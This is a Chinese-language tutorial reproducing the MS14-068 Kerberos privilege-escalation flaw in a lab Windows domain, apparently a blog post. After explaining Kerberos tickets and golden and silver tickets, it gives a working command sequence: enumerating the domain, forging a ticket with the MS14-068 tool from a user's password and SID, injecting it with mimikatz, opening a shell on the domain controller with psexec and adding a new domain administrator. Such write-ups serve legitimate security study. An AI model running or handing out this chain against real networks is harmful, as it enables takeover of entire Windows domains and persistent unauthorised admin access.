MS14-068漏洞复现

漏洞概述:该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。

影响版本:全部版本Windows服务器

环境

域— abc.com
域控:win 2008 R2 192.168.113.111
域内主机:win 7 192.168.113.113

漏洞利用思路:

1、首先利用ms14-068提权工具生成伪造的kerberos协议认证证书(黄金票据)
2、利用mimikatz.exe将证书写入,从而提升为域管理员 3、测试是否能访问域控C盘目录,能访问则说明提升为域管理员
4、利用PsExec.exe获取域控shell,添加用户并将其加入域管理员组

Kerberos协议认证:

AS服务阶段 身份验证服务
1、C向AS服务发送申请,内容为使用C的master key 加密的时间戳(Authenticator)
2、AS服务收到C的Authenticator后,首先查找C的master key,然后解密,以验证身份,通过后生成一个session key(C—KDC),然后分别用C和TGS的master key加密之,一并发给C,TGS的master key 即为krtbrt账户的密码。加密的那一份即为TGT

TGS服务阶段 票据授予服务
3、C收到两份,先用自己的master key解密一份,获取到sessionkey(C-kdc),另外一份是TGT,他解密不了,没有TGS的master key,然后用sessionkey(C-kdc),加密Timestamp生成Authenticator,连同TGT一起发给TGS服务
4、TGS服务收到后,首先用自己的master key解密TGT,获得session
key(C-kdc),然后再去解密Authenticator,验证C的身份,通过后,TGS服务会生成一个新的sessionkey(C–S),此session key 和上个session key(C-kdc) 不一样了。然后分别用sessionkey(C-kdc)和S的master key(这一份加密的即为Ticket)分别加密,发给C

C-S阶段
5、C收到后,用自己缓存的session key(C-kdc)解密第一份,获得sessionkey(C-S),第二份他同样解密不了,因为没有S的master key,同样的,用session key(C-S)加密Timestamp生成Authenticator,然后连通Ticket一起发给S
6、 S收到后,用自己的masterkey解密Ticket,获得session key(C-S),然后解密Authenticator,检查身份。

krbtgt账户

每个域控制器DC都有一个kebtgt的用户账户,此账户是KDC的服务账户用来创建票据授予服务(TGS)加密的**
粗略认证

client向kerberos服务请求,希望获取访问server的权限。kerberos得到消息后,首先会判断client是否为可信赖的。(黑白名单)成功后,AS返回TGT给client 。
Client 得到TGT后,继续向kerberos 请求,希望获取访问server的权限。kerberos又得到了这个消息,这时候通过client消息中TGT,判断出client拥有了这个权限,返回给client 访问server的权限 ticket。
client得到最后的ticket后,就可以访问server了,不过这个ticket只针对这一个server。

Authentication Server. ==AS. 身份验证服务
Ticket Granting Server . ==TGS 票据授予服务

https://blog.****.net/weixin_40803858/article/details/91982172

黄金票据:(身份认证票据)
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

MS14-068漏洞复现
白银票据:(授予服务票据)
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。
MS14-068漏洞复现
详情见:https://www.cnblogs.com/backlion/p/8127868.html
https://www.cnblogs.com/backlion/p/8119013.html
**

复现过程

**:
假设我们已经控制了一台域内主机win7:
1、先查看当前用户是否为域用户

net user cxx /domain

MS14-068漏洞复现
该用户为域内主机

2、获取域控信息

net group “domain controllers” /domain

MS14-068漏洞复现
得到了域名abc.com以及域控的主机名
Ping一下该域控的主机名,以找到域控ip地址
注意:ping的时候去掉主机名后面的 $ 符号
MS14-068漏洞复现
Ip为192.168.113.111

2、通过dir访问域控的共享文件夹,显示拒绝访问
MS14-068漏洞复现
3、这里我们要用到“MS14-068”工具复现此漏洞,我们需要获取当前域机器的域用户名、密码、用户sid等信息。
在github上下载一个ms14-068工具到win7里
获取用户sid:

whoami /user

MS14-068漏洞复现
Sid= S-1-5-21-830610671-1173352115-3389569529-1106

4、执行下列命令,会在当前目录生成一个ccache文件。
MS14-068.exe -u [email protected] -p 123.Com -s S-1-5-21-830610671-1173352115-3389569529-1106 -d WIN-7P41B0TBVPT.abc.com
MS14-068漏洞复现
MS14-068漏洞复现
这就是我们伪造的kerberos认证证书(票据)

5、打开mimikatz,注入票据

mimikatz # kerberos::purge //清空当前凭证

,为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法是使用mimikatz:
MS14-068漏洞复现

mimikatz # kerberos::list //查看当前机器凭证

MS14-068漏洞复现

mimikatz # kerberos::ptc 票据文件 //将上一步生成的票据注入到内存中

MS14-068漏洞复现

6、再次列出域控的C盘目录
dir \WIN-7P41B0TBVPT.abc.com\c$

MS14-068漏洞复现
7、使用psexec.exe获取一个交互式shell

psexec.exe \WIN-7P41B0TBVPT.abc.com cmd

MS14-068漏洞复现

8、添加域管理员

net user zhangsan 123.Com /add /domain
net group “Domain admins” zhangsan /add /domain

MS14-068漏洞复现